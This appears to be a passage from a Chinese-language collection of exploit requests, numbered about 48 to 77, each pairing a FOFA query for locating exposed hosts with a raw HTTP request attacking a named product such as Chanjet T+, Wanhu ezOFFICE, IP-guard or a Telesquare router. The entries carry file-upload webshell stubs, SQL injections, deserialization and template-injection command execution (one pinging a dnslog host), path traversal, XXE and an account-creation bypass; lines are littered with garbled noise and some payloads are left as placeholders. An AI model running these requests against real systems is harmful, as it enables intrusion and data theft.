" ~& S. t, ^- w. n  n2 A; Z! E9 aPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
7 L6 `3 D6 F+ \" h! R1 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 D# s2 Q* y( ^: U; gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: k' X0 y9 `: J& a, H9 h2 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. ~7 f% Y) G' {/ r% }4 Y6 L) NContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
% N4 E# o& k% X7 L( V. nContent-Disposition: form-data; name="file"; filename="s.php"
1231
* z4 ?* q/ H( N! g8 M7 U" H- |Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
  \; b: J) \1 i. X1 |upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 [! C  m: e  kFOFA：body="用友U8CRM"

2 Y% Z" S) ?  n8 D: yPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
" E4 L3 ?, Y2 [! i% sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
' o) R! i) m2 s$ E; {8 `2 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" t, x1 i+ A" l0 {' ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 @* v1 m/ x8 |9 x% fContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
0 g/ |$ ^, e/ W* O, }1 o. |
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

8 ]  ]  F: \! Wupload
9 I; C2 b- f5 _9 G  W1 z-----------------------------vvv3wdayqv3yppdxvn3w--
& L1 F# ]- h$ L. B
1 M0 I! }% L$ W7 x' U5 ]0 `
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
- V0 x3 d- O+ Y7 ?FOFA：body="close closebtnmodal"
9 y8 D3 R; x8 k! k; Q2 S6 JPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 ?! P* v& b/ @6 VConnection: close
Content-Length: 224
* c$ H$ W  \( G, {" DAccept: */*
8 p: R& j, |. ~$ }9 ~% hAccept-Language: en
Content-Type: application/x-www-form-urlencoded
7 J  A; ~# C3 AAccept-Encoding: gzip
' F( g- I8 c, m6 X9 X. V
0 m% `; u5 J" s" ^searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
9 E8 }) u- W4 c6 A
0 O/ r( F3 U/ F. h4 z- F& c& O0 C9 n
0 v6 E- d; p, G# a51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
; F4 j* Z$ w+ D8 I& ^. F. J! TUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
" Y" d7 w) n6 A. m$ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& a6 V: l+ }+ W' j" R* M6 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 {5 \9 \! ?3 l! h) b1 S) ^

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
1 z. b% Y) Q+ l, W8 I' UPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 I* _/ U9 _. H, NContent-Length: 87
* C  F8 N9 q0 w6 |% {' L9 C& n& EAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
- l0 g* U- S# yAccept-Encoding: gzip
0 U2 \' k6 [3 p/ H# j
. N% W# V% t9 Jtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


8 ]2 C  l7 |' a) M6 Y- F' V4 Q53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
+ x9 C- H8 F0 {( ~$ L; D/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
2 F# }( R' H8 _: G1 S5 k+ K) f. i

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
% v8 O) M8 |; S' Q9 z* @5 {! S
9 }) U0 U/ j- ?4 O, t
) W% m$ S( t2 Z" z  _! k" k, i完整数据包
& c5 _: E0 n9 q4 m" CPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
% v& K+ k4 |( m. ~5 d. e. PHost: x.x.x.x
1 S1 d& w4 \: o+ M$ wUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
  T8 C: g- d0 j' Q! l
" s0 ~1 U  j3 `! ~' G9 d{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
) g# v) O! \  [  ^, B4 d "MethodName":"Start",
- l. F- |6 A( s, q, c8 M  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 }! ]3 T; }* z. }1 X" s# ~, @    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 |0 ^0 ~6 C/ K: U; i    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
6 x4 d5 n% P/ I) @  }
1 v, d5 M% \9 x$ v! ?! `3 o}
" }0 O, K! Q7 r$ G

* F  x  f3 _$ k第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
8 F$ m8 v9 K" v7 ^, `
7 o: P2 {+ M( e3 Y0 x
55. 畅捷通T+ getdecallusers信息泄露
4 I" Y' v) K+ }0 x/ \# q/ l* I% ~FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
& j0 t9 ^' i9 O2 [( W! w第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
. I, [( k% o9 }; B* L$ \
1 P" |& t) u; S( s" o0 k+ {" }56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
6 u6 U6 x. e- X0 _5 R- N2 {) yFOFA: app="畅捷通-TPlus"
2 B% p- Z) M+ Z& t8 }+ wPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 n9 R1 @$ w* a( d7 Q" nContent-Type: application/json
. f2 Q: t, P' w1 Q/ _
7 I5 l" b% N. V8 B2 _. m{
  "storeID":{
5 ?. H' O) g. ?  ^' ]& S    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
! H( g8 Q$ b+ a1 w   "MethodName":"Start",
    "ObjectInstance":{
5 A& \+ n  F, I; A) N       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- d5 P/ x* J- A1 F2 j# B           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
* C$ ]. V9 H% ^  k# C       }
    }
  }
2 H' `, Z' G+ v7 o}
  Y  R5 t' e/ G2 i$ y
) a% U7 B. ~7 D8 c. M" z9 W, I4 x8 Y
57. 畅捷通T+ keyEdit.aspx SQL注入
4 |2 V; E$ J+ c; u+ i# M& [FOFA：app="畅捷通-TPlus"
; _  I3 C7 m, l# e  JGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
1 J/ t3 f5 J- w! Q2 h- B8 hHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ N8 |) U4 Y; `3 y" _9 V* t$ CAccept-Encoding: gzip, deflate
- H' W1 D% v. O( ^5 _0 o& x  jConnection: close

& g" A! Q& K6 C  q! J
58. 畅捷通T+ KeyInfoList.aspx sql注入
8 s& y- [4 h; L8 mFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
6 T" c: ]! g& xUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- x2 P, H) f+ ^) Q5 L4 vAccept-Encoding: gzip, deflate
" g6 c, U+ E& [$ n7 D% o6 AConnection: close
, P6 X3 b4 A' D' x* D1 H$ V+ U

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
/ k# Q% u# O. z. F- pFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
9 K8 I/ L% S7 I! o6 R4 O. LConnection: close
% h+ h. Z9 |3 E! {' @Content-Length: 1669
Accept: */*
! w. q) d2 o/ q9 a$ K; _" OAccept-Language: en
; Z1 B+ p+ s+ B1 ~$ j: n' B- {  e/ kContent-Type: application/x-www-form-urlencoded
& A' s& z% w* s$ B" Y) gAccept-Encoding: gzip

PAYLOAD
& ?/ H3 e8 H* |5 j4 d* j

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
6 r1 n; B6 C9 t! Y; M! @& ]Host:
: k# ^) l: h! K2 I( pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" Y% Q8 n6 D3 x, E2 H
/ C; X! p2 g% C( ]# O) y' ~
2 T* q+ e! g5 n6 `+ h61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
; f4 P3 a" Z# C1 R: o- CHost: x.x.x.x
" U1 y& O* o0 G2 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
, ]- t1 A7 `" r  s. ?Accept: */*
: ?$ j8 n, L. Z- o, c6 @9 z. u- LAccept-Encoding: gzip, deflate
3 V4 W( U5 G6 P- GAccept-Language: en
! V( N4 g9 o- T9 h6 \Content-Type: application/x-www-form-urlencoded

. _0 ~( E, x0 z/ C8uxssX66eqrqtKObcVa0kid98xa
# j$ {5 I6 Y% R' T/ [

62. IP-guard WebServer 远程命令执行
$ h; ~+ a. s1 lFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
' i5 s4 y/ [7 P% ~. F6 `$ u' fHost: x.x.x.x
, q& a2 Y2 ^/ ?# t! GUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
* D' x/ k  T' _" w+ F2 Q- D# J7 VAccept-Encoding: gzip
+ A& ~3 Y. d! E$ S
. i; A' a1 u9 o3 Q2 y
& A7 P" Q; k% Y9 e7 P访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

* t6 ]% f. V( @$ e- d9 n" E
( B; N0 }! E5 O: a( Q- J63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
0 I% Z2 K8 _, C" A* LFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
  f2 T' M4 j5 d, U6 P# T. ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& N4 W4 I. @3 p$ K" r3 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- O$ N6 H: ]$ p) O+ w7 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
. z+ U$ O/ g8 t; j
% l7 d) x% M6 W. Q64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! D/ w; a/ n; d- p  n5 q0 p# _FOFA：body="/Scripts/EnjoyMsg.js"
9 `( V1 Y# w( e& C) Y- |POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
# |# n4 [* J0 \8 P  O6 zConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
5 m; }6 V* ^# [: S7 |% R
5 u$ O% U) L5 {0 R% i1 n0 ?<?xml version="1.0" encoding="utf-8"?>
1 h* d7 T# ^- `; ~2 m# x, m<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

0 j5 f1 p! G- j) a
' q+ K8 Z* c! V65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
7 y4 r# X9 ~  u5 a5 tAccept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

0 b* f( [5 P6 m& [% w. k9 Q2 O
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
& o. ?& W& n% `7 B$ E/ y8 {. AFOFA：app="万户ezOFFICE协同管理平台"

, ?0 {; F& @& [' S% J2 X. uGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
6 a3 b; f7 e; s1 B$ LConnection: close
5 d9 k6 \. u3 ?2 z5 P4 [Accept: */*
Accept-Language: en
4 t5 u7 t9 D' X$ T* R+ gAccept-Encoding: gzip
" W7 V( Z9 G# ?+ d. P# h0 T& k; Z, S
3 _; u3 R+ j1 A, M; J( [
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
4 O" D  W+ a' A" m( M$ n+ ]FOFA：app="万户网络-ezOFFICE"
( c  }7 m& J4 ~# [, S3 ZnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
: V: y" e% q* j- bPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
* E9 a: w1 s: l4 N" i+ LHost: x.x.x.x
4 ?, \6 i; O) x) }/ C$ o6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
( G( Y, S, k1 _* B, u( Q; P/ V- j5 mContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 ^% g4 ?8 S* H( ?9 C! O8 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
- n: G8 Q& L* d4 S- t+ ]8 ~DNT: 1
Upgrade-Insecure-Requests: 1

0 [0 i+ _8 Y0 d2 N: G' N! p4 v* T--ufuadpxathqvxfqnuyuqaozvseiueerp
' C6 R3 ^0 m+ |8 R- k8 l3 L8 q9 BContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

0 f* h# h$ K, n<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
$ M6 G$ e0 F4 Z1 u& uFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
- h+ J2 j* M, i6 _# D! r5 KHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
& a' D' [# M9 w+ S0 u1 q' l, sAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
& O* P3 y7 Z( E$ HAccept-Encoding: gzip, deflate
4 v$ B0 R& ?5 C3 B! J- w# EAccept-Language: zh-CN,zh;q=0.9
, ?/ S1 S; O$ n1 kConnection: close


+ B' Z; l# c8 O6 k% `( O69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# \/ J$ Y. M' ?( S, R+ `" L0 OAccept-Encoding: gzip, deflate
Accept: */*
( m0 I" ^# a4 F% k  `, n! ZConnection: keep-alive


( i$ u$ j# l  O, |( O5 \3 h70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
/ r4 M* A& Y& u7 D* |$ ZPOST /member/success.aspx HTTP/1.1
, y, T& ]! p" Y. D0 _Host: {{Hostname}}
3 V! o7 Q% }, q' d1 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
/ [$ ?( ^3 ]4 i0 @5 BSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
( _+ X) j1 E8 D6 {0 t9 R: LContent-Type: application/x-www-form-urlencoded
TYPE: C
6 M: m9 T9 w$ C& H" o% QContent-Length: 16702

__VIEWSTATE=PAYLOAD

: O* b  ^' X: @, w4 R2 N, M7 D% l
; g. ~! e" @8 s7 r! U" m) e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
+ }1 \3 ^" y- JHost: x.x.x.xx.x.x.x
& `( G1 V, n+ E6 D+ V- gUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 {9 J6 v) L9 S, r3 V$ tConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, R3 K) m% j7 h" ~- |4 OUpgrade-Insecure-Requests: 1

4 R! i% K' Z8 t8 L9 T  ~
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 c) Q- _( i) pHost: 192.168.40.131:8099
8 C% C' {4 M: Q4 @5 zUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
. P9 C* V% i; A9 x* y. R1 N, o- `Content-Length: 583
  d/ H5 L7 I5 J/ b! oContent-Type: application/x-www-form-urlencoded
+ n  x( e" E/ q+ UAccept-Encoding: gzip
2 L6 `7 N& r! i- f
; j* U) d- f/ x; o, ^* q7 fS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

- y6 {: M. y- J7 u- X% t4 \
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
% t$ ~% b$ P! h5 u+ E3 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ |1 R& [4 U1 kContent-Length: 1981
5 z7 I5 Y/ [3 Q& o& z% FAccept-Encoding: gzip, deflate
Connection: close
. A4 `8 Q6 l( \& k% r" pContent-Type: application/xml
# u, A5 Z( Q* Z/ q: e( mSL-CE-SUID: 3

9 C* t& {, X' e" Z1 i( YPAYLOAD
; ^5 _: x9 g# G. l9 W5 b

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
7 A3 c7 A9 U0 O$ e/ S8 l
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
1 Q; Z) ~) o! G! E- ]; tFOFA：app="TELESQUARE-TLR-2005KSH"
5 s6 |0 ]( g$ G8 U1 R* Y% J" RGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
$ r  ~4 j1 Z$ I' z: fHost: x.x.x.x
" A4 \  y# x1 C) iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
+ Q3 @' j: W4 E- Z7 x' {5 ^+ EAccept: */*
Accept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
6 m: \/ j0 K4 x1 kHost: x.x.x.x


2 E' S9 o2 \8 a( v8 h- a: T4 x76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
) m) A7 J7 `7 V6 B! p* [6 a# `! cPOST /service_transport/service.action HTTP/1.1
" [6 c8 G' K$ @& ^6 l7 n' \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
" I1 g2 B2 A$ y0 J) XContent-Length: 211
" `$ Z2 Z9 c7 O! |2 `5 Y" AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 |+ _1 C+ [& n, e& t# A# ]/ KAccept-Encoding: gzip, deflate
' ?9 v4 N5 s8 |( p' A' ?: k% Y+ X. iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 j6 x: p( U+ k. L* N  ]: N, {2 A; J9 a; ECookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
9 V" c  j+ S) ~3 W* x7 EUpgrade-Insecure-Requests: 1
/ m- D, {0 L! x6 C: x0 j
{
0 |5 {2 p/ U- `* o) w2 h"command": "GetFZinfo",
3 j# r  {: o7 ~  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
, z1 h0 [* c8 `3 H3 s  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


% P- L! X% \1 b/ t) k% d, _; f0 g+ KGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
" p6 V# T/ |# \- Y/ o" i% c7 {
  @; J) x1 C7 F# {' Z/ P
! ?  m( c: S9 W+ Y
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
9 z+ f1 D4 P& n5 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
& t) L( L: M5 w6 X1 P1 e% dConnection: close
2 c5 J, K) `1 \+ ?; o3 pContent-Length: 433
- d+ M; k. q# u+ yAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 G4 o2 C( n7 R) R: x; C. c0 uContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
